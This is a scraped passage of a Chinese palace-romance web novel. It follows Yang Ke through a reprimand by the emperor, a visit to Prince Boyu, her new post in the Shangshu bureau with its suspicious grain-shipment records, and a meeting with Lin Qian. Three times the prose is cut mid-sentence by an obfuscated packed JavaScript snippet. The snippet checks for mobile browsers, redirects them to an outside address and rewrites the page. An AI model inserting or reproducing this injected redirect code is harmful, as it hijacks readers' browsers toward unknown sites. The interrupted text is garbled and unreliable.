皇帝抬手止住他:“杨柯,你继续说下去。” 杨柯道:“臣觉得女子和男子一样也有七情六欲,也当像男子一样自由婚配。” “荒唐!”皇帝一声怒喝,众人皆跪伏在地。 几位皇子齐声道:“父皇息怒!” 伯喻继续道:“父皇,杨姑娘所言,不过童稚之语,您权当作玩笑,正好解解乏。” 皇帝面色稍缓,眼中的怒色渐渐褪去,缓缓开口:“虽为童稚之言,却也不可轻视。杨柯,今日朕便明明白白告知于你,朕为何严禁内廷女官擅自婚配。内廷虽身处后宫之地,然其职责之重,丝毫不亚于外廷。朕每日下达的政令文书,第一道必经内廷之手。若内廷与外朝暗中勾连,相互串通,你且想想,这朝堂将会混乱成何种模样?朕之江山社稷,又将置于何地?” 杨柯跪首道:“臣知错了。此前臣目光短浅,未能洞悉其中利害,竟妄言此事,实在罪该万死。” 皇帝微微颔首,神色缓和了些许:“起来吧,你尚且年轻,有些道理不懂也情有可原。”他顿了顿,目光望向亭内的众人,“朕今日同你们说这些,并非是要苛责于杨柯,而是希望诸位都能明白其中道理。尔等日后在宫中当差,凡事都要多思多想,不可意气用事,要时刻以朝廷社稷为重。杨柯,今日朕赐你殿前罚站,以此为戒,往后万不可再犯。” 众人一齐叩首:“多谢陛下!” 皇帝离开后,杨柯又站到了亭外去,不过这次是熟门熟路了。她心里正郁闷着,忽然耳边一道清脆的童音响起:“你也被罚啦?” 杨柯转头望去,一个身高不过她腰际的小男孩正嬉皮笑脸地指着她: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232667|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道你,你上次吐了二哥一身,”他一边说,一边咯咯发笑,“二哥最臭美了,他一定气死啦!” 杨柯暗自腹诽,气死?后面还有的他好受的。又对男孩问道:“那你是谁?” 小男孩挺起胸膛,小脑袋高高昂起,双目炯炯有神,左手竖起两指,手臂笔直向上,右手手臂折叠胸前,单脚跳起转了半圈,捏起戏腔道:“我乃宇文潇,天下第二神勇皇子是也!” 杨柯见他这幅小小年纪又功架十足的样子,忍俊不禁:“你是天下第二,那第一是谁?” “第一是我二哥,谁让他比我厉害。”他嘟着嘴,眼里亮晶晶的,“等到我跟他一样大了,我就比他厉害了!” 杨柯心里一奇,宇文泰在这小孩儿心里竟有如此高的地位,她越发捉摸不透这人了。“既然你也这么厉害,为何你在这罚站呐?” 小皇子双手叉腰:“哼,我才不听什么齐家治国的大道理,夫子气不过,就让我站到外面来了。” “为何不愿听?往后你可要帮着你父皇统领江山啊?” “学那些有什么用?能杀敌破阵吗?” 杨柯笑着道:“说得倒是挺有道理,我也这么想。”说着便走到了上次罚站的位置上。 “你真笨!站那里被太阳晒得屁股都红了。”小男孩竖起短短的大拇指,昂起笑脸,“我这个位子最好了!夏天能遮阳,冬天能挡风,下雨了还能避雨。” 杨柯听言,竟也乖乖站了过去,果然凉快了不少,她拍拍小孩的头:“你倒是聪明哈,早知道我上次站你这儿了,省得被热晕过去。” 小孩立即往后跳了半步:“别摸我的头!会长不高的!” 杨柯的手悬在空中,歉意地笑道:“抱歉抱歉,你早说啊。” “怎么女人都爱摸人的头?” “还有谁啊?” “庆宁,她老来烦我。” “她怎么烦你了?” 宇文潇咕哝道:“她跟你一样,老是摸我的头!明明也就比我大了一岁,偏偏比我高出许多。” “老十,今日怎么又在外面?”伯喻的声音在他们背后响起,二人闻声回头,冲他傻傻一笑。 方才还在杨柯面前神气的宇文潇一下子变了个人,在伯喻面前规规矩矩,脆声脆气地道:“七哥,夫子说,哪天我会背《道德经》了,就让我进去。”路过不少人驻足围观,都对老十十分好奇。 伯喻蹲下身子,平视着他,柔声问道:“那你背了多少了?” 宇文潇挠了挠头:“第一页……”众人听了一阵哄笑,但不少是见他模样可爱,并未有嘲笑之意。 伯喻伸手理顺了宇文潇凌乱的衣领,老十皱眉嘟嘴:“七哥,这衣服太难了,我老是穿不好。” 伯喻道:“要穿好这身衣服,首先要把腰间的节打好。冠必正,纽必结。有礼有节,才能立于天地。”说着帮他打好了腰间的系带,“潇儿,可明白些了?” 老十又挠了挠头:“好像……又糊涂了。” 众人又是一阵哄笑。 伯喻并不恼火,反而笑道:“有长进。一知半解比全然不通好。” 杨柯见他对老十耐心教导,心里格外暖意洋洋,细声开口道:“伯喻,方才多谢你出言相助。” 他站起身来,面向杨柯,脸上是融融笑意:“不必谢我。父皇素来严厉,今日他也并非恶意,你不要记挂在心上。” 杨柯摆摆手:“不会不会,体罚这种事我早就习惯了,算不得什么的。” “哈哈,你跟我一样。”宇文潇指着杨柯咧嘴一笑,杨柯没好气地瞪了回去。 伯喻摸着他的头:“潇儿,现在该随我去学琴了吧?” 宇文潇一下子蔫了下去,拖着声音道:“七哥——” 伯喻向杨柯颔首道:“阿柯,我们先行一步。” 杨柯点头目送他们远去,乐白也从屋里走了出来,见杨柯呆呆望着远方,轻扯了下她衣袖,她仍兀自不觉,乐白轻声笑道:“阿柯,我们也走吧。”杨柯全身跳了起来,恍然道:“好,好。” 15.情生 杨柯回到凌薇苑,心里仍像断了线的风筝似的没着没落,好不是滋味。用过了晚膳,正躺在卧榻上,忽而瞥见书架上的《明斋广录》,一个挺身坐了起来,取下书本,兴致勃勃地往外去。 初秋时节,不冷不燥。循着记忆中的路线,费了半柱香的功夫,杨柯才找到翠微殿的匾额。敲了敲宫门,一个十七八岁的小太监探头出来,问道:“姑娘您是?” “我是凌薇苑的杨柯。宣王可在殿中?我来给殿下送书,烦请公公递个话。” 小太监很快便道:“好嘞,小福子这就去给您通报。” 不一会儿,宫门打开,小福子站在门边,冲她笑道:“您里面请。” 一踏进宫门,便是两行垂柳,柳阴中有一座折带朱栏板桥,过桥后,迎面一块插天的山石,山石附近并无一般花木,反倒长了许多异草,或牵藤、或引蔓,形态各异,香气扑鼻,非一般花香可比。 异草背后,传来幽幽琴音,她循声而去,脚下小径蜿蜒曲折,隐于葱郁草木之间。行至一处,一座精巧庭院映入眼帘,院门半掩,透过门缝,可瞧见院内一方雅致的亭台。 杨柯轻轻推门,琴音蓦然停歇,她欠身道:“是我冒昧,惊扰殿下雅兴了。” 伯喻见了来人眼中一亮,徐徐起身相迎:“哪里哪里。上次七夕之后,一直没寻到机会同你畅叙。” 杨柯眼中露出狡黠:“我这不是找上门来了?” 伯喻欣然接道:“在下不亦乐乎。” 杨柯听了心中百般欢喜,颔首垂眸,又想起手里的书,忙道:“上次答应的《明斋广录》,前几日托宫外的朋友搜罗了来,今日才送到宫里,特地给你送来。” “阿柯有心了。”伯喻伸手接过书册,二人指尖相触,清凉的触感却有如滚辣的火焰,灼得人心尖一烫。 “以后莫要再看残本咯。”杨柯对他轻俏一笑,伯喻接过她的笑眼,琥珀眸中露出闪闪微光,好似一道银钩:“残本还是全本,我总是难以分辨。若都能先经阿柯过目,想来就不会出错了。” 杨柯这时犯了愚笨,只听懂了他言上之意,“你要读什么书,尽管告知我,我帮你取去。” 伯喻望向她的眼中笑意熏沉:“平日里诸事繁多,实在抽不出多少闲暇去读闲书。不过,若能读一读姑苏悠悠客写的诗便足够。” 虽然伯喻并不知道她便是姑苏悠悠客,但她听了这话心中倍感欣幸,“姑苏悠悠客呀,她的诗最容易找到了。”说话间,一面低眉垂睫,一边粉面生霞,又不好意思叫他瞧见,侧首一转,又脆声问道:“伯喻,你这宫中设计实在新奇,可否告知是出自何人之手?” 他的目光仍是柔柔地落在杨柯的脸上:“是我额娘。她来自西域,一向对绿色植物满怀珍视,还亲自与工匠一同设计。园中山石,也都是她逐一甄别、细细挑选而来。” 杨柯不禁赞叹道:“令堂真是位奇女子!” 一阵清风拂过,屋檐下的竹影也忙不迭地点头。伯喻看着她长睫下的双眸波光粼粼,勾得他想用指尖揉碎那一汪碧水,“你若是喜欢,再来便是,下次也不用小福子带你进来了。” 杨柯本沉浸在观赏四处的景致中,思绪再次被他的话语搅乱,“啊?我……我这人常犯路痴,若没人带路,恐怕记不得方向。” “记不得方向?那就多来几次,熟了便记得了。” 杨柯一边嘴上糊里糊涂地应和着,一边随他踏入门内,目光所及之处,有一幅水墨画,画中有一船,船身以墨色清淡勾勒,寥寥几笔,却恍若有水波轻拍之声传来。 她凝着画问道:“诶,这画里的船可是越州乌篷船?” 伯喻点头:“对,阿柯如何识得?” 她眼波一闪,终于对上了他的目光,“我在越州出生,小时候常常坐乌篷船。乌篷船格外轻巧,水面稍有波动便会摇晃,那时候胆子小,爹爹第一次带我坐船时,我生怕一不小心掉下去,便死活不肯上去。后来爹爹没办法,捂着我的眼睛把我抱上了船。等我长大些便不怕了,反而喜欢在水边拿着石子打水漂。” 伯喻只觉她眼里的一汪碧水汩汩流进了他心里,于是温言问道:“既然你在越州出生,为何长大后来了京城?” “我爹本是京城人,因为我娘才去的越州。他平日里闲着没事,就在河边喝酒作画,被师父这个酒蒙子撞上了,两个人也算是臭味相投,日夜都泡在一起。后来,师父回了京城,我娘也打算举家搬迁,她一方面想让我拜上师父,跟着他读书,另一方面也是想着爹爹能跟师父老友重聚。” 伯喻道:“母亲当年也去过越州,后来没有机会再去南方,于是命画师画了一幅挂在宫中。” 杨柯眼底一亮:“瑾妃娘娘也喜欢越州?那儿可是山清水秀!尤其是屋子边上的小河,到了冬天都还是温温的。” “她喜欢那里,可惜只去了一次。”伯喻说到此,眼里的眸光笼上了一层薄纱,脸上却仍是微笑,“算是借着山水安顿一颗寂寞心吧。” 杨柯听不明白,但她知道伯喻的神色沉郁了一分,于是道:“能去瞧瞧大好河山总是好的,许多人想去都没法去呢。” 伯喻点点头,又问道:“江南与京城有何不同?” 她见伯喻神色好转,语调也俏皮了起来,“如果要作比较,京城就像是皇宫里的几位殿下,端端正正,有型有款。江南嘛,更像是闯了大祸以后,被老爹发配到边角的纨绔公子哥儿,虽偏安一隅,但也潇洒随性。” 伯喻听了失笑道:“听你这么描述,江南好像更有意思了。” “是呀,要说城里最热闹、最好玩的肯定是夜市。大街小巷到处都是人,吸一口气就闻见酒楼里的酒香,刚走几步就撞上个玩杂耍的。这热闹劲儿常常要到四更天才消停。大人在街上走,我们小孩儿就在人堆里乱窜。有一回我撞洒了人家手里的一串糖油果子。那卖糖油果子的大叔瞬间变了脸色,横眉竖眼地揪着我,嚷嚷着要我赔他一整筐的钱。我哪里有那么多钱?朝他又是堆笑脸又是起哭腔,他可油盐不进,当即就要伸手来抓我。” 伯喻接着问道:“后来呢?” “我当然是拔腿就跑呀,可我一个小孩压根儿跑不过他。不过幸好老天帮忙,让我逃了一劫。” 她见伯喻的脸上满是疑惑,于是笑嘻嘻道:“那会儿凑巧到了五更天,做早市的开张了,”她学着馄炖摊的老板扯着嗓子吆喝,“‘新出锅的馄饨嘞,鲜得嘞!’馄炖香从街头飘到巷尾,一闻便知是虾仁馅还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243945|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪肉馅。不光我鼻子尖,糖油大叔鼻子也尖,他一下便被香味勾了过去,一时愣了神。趁着这功夫,我就溜进人群里跑远了。” 想起那时的快乐,杨柯不禁摇头轻叹,“现下进了宫,也没机会再去了。”接着又声音一亮,指向墙壁上的画,“看看翠微殿的美景也足够!” 伯喻的思绪跟着她的话语起落,听言朗然大笑道:“望梅止渴有什么意思?阿柯若能回到江南,不妨捎我一程。” 杨柯接道:“那是自然!” 话音刚落,小福子踱步进来:“殿下,易大人派人传话来了,说有事要和您商讨。” 杨柯向伯喻望去,他神色中的畅然已经尽数消失,又成为了平日里端庄优雅的宣王殿下:“好,请易大人稍等片刻。” 小福子退下后,伯喻朝着杨柯感叹道:“我这人生活单调,从未去过江南,未曾见过‘春水碧于天’,听你说起这些见闻,实在羡慕。” 杨柯笑道:“殿下若想去,我定当奉陪。一路上吃喝用度,皆由我安排,定不让殿下被那些奸商诓了银子。” “有你这番话,我更要去了。” 杨柯见他脸上仍是微笑,但手指却一圈圈地绕着杯檐打转,想来他已经没有了闲谈的兴致,于是故作惊讶道,“哎呀,我这次来还未告知郡主,想必这会儿她要满宫城地找我了。” 伯喻的神色暗了一瞬,旋即笑着调侃道:“那我岂不是夺人所爱了?” 杨柯故意逗他道:“哪里是夺,分明是我自愿被拐来的。”二人一齐说笑着出了门来,仍在有一句没一句地聊着,这段不长的路,生生走了有半柱香的功夫。 终于到了殿门前,伯喻身上的松香淡淡,恰好填满此刻的沉默。 杨柯开口道:“殿下快回去吧。” 伯喻凝着她的脸,静了瞬,才道:“嗯,那我们明日再叙。” 她轻轻“嗯”了一声,福身作别。 杨柯慢慢挪过翠微殿前的道路,伯喻的目光仿若黏在了她身上,一刻也未曾移开。她亦是一步一回首,二人视线交缠,在夜色下结成了隐秘的情茧。 直至再也望不见身后伫立的白衣身影,她才无奈转身,步伐恢复如常。仰头望去,天色黑沉沉的,唯有月盘遥挂天边,清冷皎洁却遥不可及,让她想到了伯喻脸上的微笑。她这才意识到,正是因为这种能让人产生好感的印象,所以大家才总是看不见他脸上露出的淡淡忧伤。念及此,她的心也像是吻上了那月盘一般,只感到沁透地凉。她轻叹一声,如此心不在焉地走了许久才蓦然惊觉,自己已经回到了凌薇苑。 “姑娘!姑娘!方才尚书局的大人来了,你被选进了。”杨柯前脚刚迈进凌薇苑,后脚便瞧见青桃满面红光地扑上来。 杨柯愣在原地:“什么?公孙大人岂不是疯了?” 青桃更是摸不着头脑:“你在胡说什么呢?” “那日考核我故意说了些大逆不道之语,就是想让她们把我筛下去,怎么如今又要招我进去了?” “进了尚书局是好事啊,你现在的身份就不仅仅是伴读女使,还是宫里的女官了。我们见了你,都要尊称你为一声大人呢!” “什么大人小人的,我可不想被绑在宫里啊。” 16.尚书局 第二日,杨柯乖乖地站在垂花门前,仰头望着“尚书内局”四个鎏金篆字。檐角铜铃被东风吹出细碎清响,这声音同她第一次去私塾先生家里上课时一模一样。她下意识抚了抚簇新的霜青色宫装,感叹道:“还真是命运弄人,我最爱的青色,竟然是女官的宫装。”说着迈出沉重的脚步,挪了进去。 一进门,墨香混杂着硝皮气息扑面而来,眼前一排排的紫檀木案整齐规整,木案前的云鬓银簪星星点点,穿行其间的女官们广袖翩跹。除了研磨墨水与拆封火漆的脆响,竟无一人作声。杨柯的脚步也跟着放轻了许多,生怕惊起面前的‘鹤群’。她正左顾右盼着,忽见一女官从廊柱阴影里转出,怀中抱着的卷宗几乎淹没她半张脸,“你是新来的掌籍?” 杨柯吓了一跳,接着点头道:“是。” “卯时三刻要点卯,此刻已迟了半盏茶。”她话音未落,远处传来宫门落钥的闷响,惊得杨柯慌忙去摸袖中的任职诏书,却见女子突然展颜:“吓你的,今日大朝会,辰时才算正式当值。” 杨柯松了口气,忽听身后一道女声响起:“杨柯!”徐英正站在里间的门边,方正的下巴往里一扬,示意她跟着进去。 杨柯刚一抬脚,不小心跟门槛绊了一道,啪嗒一声惊起木案前的脑袋,她赶忙哈腰道歉:“对不住,对不住!”她本以为进了里间能正常行走了,没想到眼前的景象更叫她走不动道:一座三丈见方的青铜沙盘悬在横梁之下,数百枚银签标着各道州县名称,被纵横交错的红丝线织成密网。 “此处才是真正的机枢之地。今日带你前来见识一番,也好让你认识认识尚书局究竟是何模样。”徐英站在红网那端,千百道阴影在她身上纵横交错,仿佛将她层层裹缠,形如人茧。 不知为何,杨柯看得胸闷,仰头指着沙盘问道:“徐大人,这是做什么用的?” 徐英拔起一道银签,目光顺着错综复杂的红丝线游走,“每一枚银签,代表一道州县,其上记录着赋税、民生、军备等诸事详情。每逢有要事呈于陛下,尚书局便要依各地情形,反复推演权衡。” 这时,一阵穿堂风掠过杨柯的后颈,带着陈年墨锭的苦香与窗外将开未开的海棠气息,她恍惚意识到,这混杂的味道里,掺杂着权力最隐秘的形态。 “你刚进尚书局,推演沙盘尚且还用不着。”徐英这话恰似一盆冷水兜头浇下,瞬间将杨柯从游离思绪中拽回现实。不过她心中反倒悄然一松,倘若真要自己上手推演,不是她把红丝线搅成乱麻,就是红丝线把她裹成粽子。 跟着徐英出了门来,穿过一道月洞门,踏入一处偏厅,绕过一架青山绿水的屏风,最后来到一处桌前。 “朱缨,这是杨柯。”徐英朝着桌边的女子开口,那女子抬起头来,一张鹅蛋脸透着稚嫩,眼光在杨柯脸上游走了一瞬,随即又回到徐英那边。 “杨柯,以后你就跟着朱缨学习,你在尚书局的任务便由她来指派。” “是。”二人齐声应和。 徐英满意颔首,接着又问道:“昨日户部的折子放在哪儿了?” 朱缨回道:“放在漆柜里面了。”说完,徐英便移步去了窗边的柜子旁,搜起了折子。 杨柯目不转睛地打量着朱缨,只见她柳眉紧蹙,奋笔疾书。瞧这架势,杨柯不禁在心底暗暗感叹,有徐大人杵在跟前,此刻装也得装出个两耳不闻窗外事的样子来。就怕面前的书文堆得不够高,入不了大人的眼,被瞧出办事不勤快。若是皇上来了,问一声谁家的丫头办事这么麻利,进宫熬的这些苦日子也算有个交代,这辈子的功名也算有个着落了。 见徐大人转身进了屋内,朱缨仍在埋头苦写,杨柯以为她不知道跟前的动静,于是凑过去轻声提醒:“姐姐,徐大人已经走了。” 朱缨抬起头,莫名其妙地看了杨柯一眼,又继续俯首端详着手里的奏书。见她一脸聚精会神,倒不像是刻意做作,杨柯心里一奇,原来她并非如自己这般游手好闲之辈,若是读书时,也当是书院里那帮来得最早、走得最晚的好学生。 她踱步过去,坐到朱缨身边,饶有兴致地问道:“姐姐,你们每日要忙到几时?” 朱缨不理她,手上的狼毫只是顿了顿,又继续挥墨。 杨柯又问道:“姐姐,你如今入宫几年啦?”朱缨充耳不闻,把凑过来的杨柯权当做空气。 “看姐姐的面相也就十七八岁的样子,年纪轻轻做到御侍令,”朱缨以为杨柯接下来要奉承自己,终于理她一理,“不必恭维我,就算你恭维再多,我也不会给你少派些活。” 杨柯讪笑道:“哪里哪里,我话还没说完呢,姐姐年纪轻轻便身负重任,恐怕不是个好事。” 朱缨脸上一凝,手里的笔也停住了,侧首等着她继续说下去。 杨柯反倒打起了哈哈来:“姐姐头上的簪子可真好看,是六棱冰花纹吗?我只在画本子上见过这种式样。” 朱缨搁笔敛袖,正色道:“方才你说不是好事,你为何这么说?” 杨柯挠挠头:“我已经说完了。” 朱缨仍旧肃然道:“我问你为何这么说?” 杨柯笑嘻嘻道:“你问我我就要答?那方才我问你的时候,你怎么不答?” 朱缨脸色一黑,“好你个丫头!”说着便站起身来,扬起嗓子喊道:“徐大人,卑职有事禀报!” 杨柯吓得赶紧扯她袖子,“好姐姐,好姐姐,我不逗你了,你快小点儿声,快小点儿声。”她一边低声求饶,一边伸头去探徐英那处,幸好徐英人在里面,听不着外面的动静。 朱缨倒是闭上了嘴,抬手丢给杨柯一沓纸张,“喏,把这些整理了。” 杨柯顿时傻了眼,“这么多?” “嫌多?这只是我每日处理的十分之一。” 杨柯大惊道:“多少?” 她这一嗓子惊得附近女官齐齐望来,朱缨低声喝道:“你小点儿声。成日里大惊小怪的,以后怎么办事?” 杨柯用着气声道:“姐姐既然知道,便少给我点儿活,这样我闯祸的机会也能小点儿,对你对我都有好处。” 朱缨猛敲她额头:“想得倒美!既然徐大人将你派给我,我自然不能辜负她的好意。”说完,又扔了一沓纸张过来,“我想了想,方才那些还不够,你若要把军粮的运输弄个大概明白,得把这些一齐算上。” 杨柯摩挲着下巴,正色道:“这些恐怕还是不够。” 朱缨脸色一亮:“哦?” 杨柯继续道:“我倒是有个好主意。” “什么主意?” 杨柯朝她勾勾手指,朱缨也顺势凑了过来,只听杨柯低声道:“俗话说百闻不如一见,姐姐倒不如放我出宫,让我跟着军队运一趟军粮,我保准弄得清清楚楚,这样也省得姐姐劳心劳力教我了。” 朱缨听完脸色又是一黑:“你快消了偷懒的心吧。赶紧干活,把这些看完了再说!” 杨柯无奈摇头,只好翻看起奏疏来。还没看完一页,她又凑过去,对着朱缨道:“姐姐不想知道方才我那后半句要说什么吗?” 朱缨翘起了眉毛,犹豫了一瞬,还是妥协了:“你说。” 杨柯朝她嘿嘿一笑:“年纪轻轻便重任在肩,自然是任重而道远咯。人家忙活小半辈子,你要忙活好大半辈子,可不辛苦!” 朱缨朝她一笑:“你倒是为我着想,不过说这些好听话也没用,该干的还得干。” 杨柯耷拉下了肩,终于不再说话了,乖乖地看起了奏疏。 终于忙活完,日头也飞到西边去了。杨柯跟着大家一齐走了出来,怀里还抱着没看完的一小沓奏疏,她本想偷摸留到明日再看,结果朱缨眼尖,硬塞到她怀里,声称明日检查,她只好听话抱着回家。 正走着,奏疏下忽然飘出一张书页,杨柯蹲下身子拾起,打眼一看,是军粮运输的记录。 “九月十四,送至十万石,八月初一送出。”她草草看了一眼,摇头调侃,“怎么送军粮的比我还懒,从雍州到西北前线,走陆路的话,左不过七天半月的时间,这帮人竟磨蹭了一月还要多?”说完她才反应到不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255711|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又继续看下去,底下记录的原因也只是寥寥几笔:“八月二十至九月初五,天气异常”、“七月初五至八月十五,途中遇泥流堵塞”。 杨柯心里一咯噔,莫不是让自己撞上了什么惊天大案?正想着,一声稚嫩的童音从背后传来:“阿柯姐姐,多谢你照顾。” 她转过身去,原来是庆宁郡主。小郡主一身粉红长裙,一张圆圆的脸上泛着淡淡的桃红,活像新摘下来的嫩桃。 “郡主殿下,为何要向我道谢呀?” “上回范夫子的课上,多亏了阿柯姐姐赠予庆宁墨汁。”庆宁性格羞涩,许是又提起自己在课上狼狈的样子,更加不好意思了,扭动着小身子,俩手拱成小拳头,嗫嗫嚅嚅地说道:“庆宁和哥哥姐姐们相比起来年纪小,范夫子说的文章庆宁并不很快听懂,从前上课时范夫子便常教导庆宁多认真,记下夫子所说,那日我殿里的丫头偷懒,墨水竟准备了昨日的,多亏了阿柯姐姐帮忙,不然庆宁又得挨骂了。” “不打紧,小郡主以后有什么不懂的,尽管来问我便是。”杨柯冲她温柔一笑,忍不住俯下身摸了摸她的头。 “她什么都不懂,你若要教,一定累死。”宇文潇穿着一身玄金晃了过来,身板语气活像个小宇文泰。 庆宁微微蹙眉,娇声嫩气地反驳道:“你才不懂。” 宇文潇扬起下巴:“我比你懂。” “夫子上课的时候你都在屋子外面呢,怎么会比我懂?” “我自学成才,不需要夫子来教。” 杨柯见他二人有来有回,互不相让,于是赶紧截道:“好啦好啦,你们两个都懂。” 宇文潇不依不饶:“按照辈份,你得叫我舅舅。哪里有外甥女顶撞舅舅的?” 庆宁大声道:“我才不要叫你舅舅!” 杨柯看着面前的两个小活菩萨,只觉头更大了。 “庆宁。”孔阳公主徐徐走了过来。 “参见公主殿下。” “额娘!”庆宁挥着短腿,小跑到母亲腿边。 孔阳对着杨柯微笑道:“杨大人。” 杨柯头一回被人这么称呼,况且对方还是个公主,冷不丁地不好意思起来:“殿下客气了。我才头一天进尚书局,当不起大人的称呼。” 孔阳嘴角笑意更深:“新官上任三把火。杨大人才思敏捷,平步青云是迟早的事情。” 杨柯打哈哈道:“平步青云我可不敢想,能顺顺当当多走几步路,就已经心满意足咯。” 孔阳眸光一转,瞥见杨柯怀里揣着的奏疏,不禁打趣道:“大人可太谦虚了。值班时辰早过了,还把书文带在身边,这般勤勉,可不是一般人能做到的。不过呀,你可千万别学公孙,跟着伯喻干了几年,连终身大事都不要了。” 听她提起伯喻,杨柯立即追问道:“殿下何出此言?” “这伯喻啊,自己忙得脚不沾地也就罢了,还带着手下人一道拼命,好似世间万物都入不了他的眼,只一心扑在朝政上。我也是听长明说起,今晨朝堂之上,父皇话里话外隐隐透露出赐婚的意思,伯喻倒好,当即便回‘烽烟未尽安言室’。” 孔阳说着轻轻摇了摇头,啧嘴感叹,“他都二十了,还未成家,这般耽搁下去,可如何是好啊。” “七哥没遇上喜欢的人,你们干嘛非得逼他娶亲呀?”宇文潇在一旁憋不住了,皱着眉头,一脸不赞同地反驳。 杨柯脸上微微一黯,却听孔阳和声细气地哄他:“潇儿,娶亲之事和喜欢可大不一样。” 庆宁也眨巴着眼睛,满脸疑惑:“都不喜欢人家,为何还要娶呀?” 孔阳对他们笑了笑:“这里头的门道,等你们长大了自然就懂了。” 闲聊几句后,杨柯与她们行礼作别。回到凌薇苑,想起方才孔阳和老十的对话,她的心头不免更加怅惘起来。但又转念一想,人家自始至终都未曾有过特别之举,倒是自己平白生出许多无端的遐想,实在是自作多情。可是,这种事一旦起了头,便越想越深,越想越绕,她躺在榻上,翻来覆去睡不着了。 17.算账 乐白和云昌吉跑出去后,杨柯回到屋里,这事办完了,但还有一事令她挂心。等到了天黑,她换上遁光衣,往宫外的逍遥居飞去。 落至城隍庙附近,她隐隐感到有人尾随,于是故意绕进一处巷子里,躲在暗处。 过了半柱香的功夫,没见着什么人影,杨柯才走出巷子口。刚踏出一步,突然肩上被人一拍,她下意识地擒住对方的手,只听身后唉哟一声大叫,转头一看,是林骞。 “林公子!抱歉!” “女侠饶命,别忙着吃惊了,先松松手吧!”林骞的手腕被她扭到身后,只能苦着脸回头求饶。 杨柯连忙放开他,“咱们还真是有缘,我本要去逍遥居寻你,结果在此便相遇了。” 林骞一边揉着手腕,一边无奈道:“小柯,你以为是有缘,实际上我早就想去找你了。” 她惊讶道:“为何?” 林骞挑眉:“思念一个人难道需要借口?” 杨柯冷不丁被呛住,林骞何时变得这般油腔滑调,于是汗颜道:“林公子说话还挺直接。” 林骞朝她不怀好意地笑:“是啊,既然你已收到了遁光衣,现在可以如实告诉我它的用途了吧?” 杨柯一愣,讪讪开口:“上回我不是已经说了?” 林骞扶着下巴缓缓道:“据在下听闻,小柯似乎已经不在家中居住了。” 杨柯无奈承认:“是我骗了你。借走遁光衣,并非因为逃家,而是为了给出宫做准备。” 林骞瞪大了眼睛:“你进了宫?” 杨柯深叹一口气:“实属无奈之举。” 林骞反倒笑了出来:“家父和朝廷也有些渊源,这回帮你岂不是亲上加亲?” 杨柯呆道:“哪门子的亲上加亲?我可不算皇亲国戚。” 林骞撇了撇嘴:“好嘛,是我自作多情了。”说完,收起脸上的吊儿郎当,正经起来,“拜托你帮忙的事,已经有回信了。” 红娘办事果然利索!杨柯期待地问道:“具体如何?可是好消息?” 林骞抬手抚了抚下颚,凝神皱眉,“过这么久才拿到结果,”看来好像并不乐观,她心里不禁忐忑起来,“自然是大有收获了。” 她旋即松了一口气,又气他捉弄自己,忍不住往他身上拍去:“好你个林骞!” 林骞瞬间反应,侧身一躲,无奈摇头道:“过了这么久,你还是一样野蛮。” 见他避开,杨柯也跟了上去。两人你追我赶,不知不觉便到了逍遥居。 刚一进门,林骞朝杨柯轻挑下眉,她刚反应过来,正要拦住他,他倒先悠哉悠哉地开口:“小柯,你也真是的,要来逍遥居大大方方地来便是了,还专门从外面跑来追我。”林骞的声音洪亮,整个屋子都是他的回声,更糟糕的是,进了大门,石介等人俱在,听了林骞的话,众人的脸上都写满了八卦二字。 杨柯尴尬得不敢看他们,心里气不打一出来,怎么长着这张脸的男人都这么惹人烦? 被瞧得实在难受,杨柯忍不住解释:“哪里是我追你了,明明是你先碰到我的。”但这好像并没有什么用,他们眼中的八卦依旧不减。 林骞脸上的笑意更深了,懒懒开口道:“好了,不逗你了。随我过来吧。” 杨柯跟着他走进了屋子,视野所见与上次来时一般无二。 林骞收起了方才的玩笑,正色道:“多亏了红娘的帮忙,我们拿到了最新的情报:影刃阁计划抓捕即将前往京城的柔然大臣赛比海,他是影刃阁阁主阿揽延的死对头——赛罕的心腹。” “赛比海为何要来大夏,而且还是天子脚下?” “柔然派来了和谈的队伍,赛比海也在其中,不过为了掩人耳目,他将身份隐藏了起来,只是作为随行的小官出行。据我对柔然的了解,他若来了大夏,不光是对影刃阁,对我们来说,都是一个好机会。若是抓到了此人,那么柔然的机密也能获取不少。”他脸上得意,又似乎想到了什么,继续问道:“诶,小柯,你不是说有事要找我?看我这人,只顾着跟你打闹,竟忘了正事。” 杨柯揶揄道:“您贵人多忘事,所幸到现在还记得我这茬子事儿。” 林骞朝她眨眼:“许久没见你,反正也不急,同你玩一会儿,倒也不耽误事。” 杨柯并不理他,正色道:“这次来是想请你再帮我一个忙。” 林骞翘起眉尾:“什么事?” “林兄可否了解前线军粮运输? 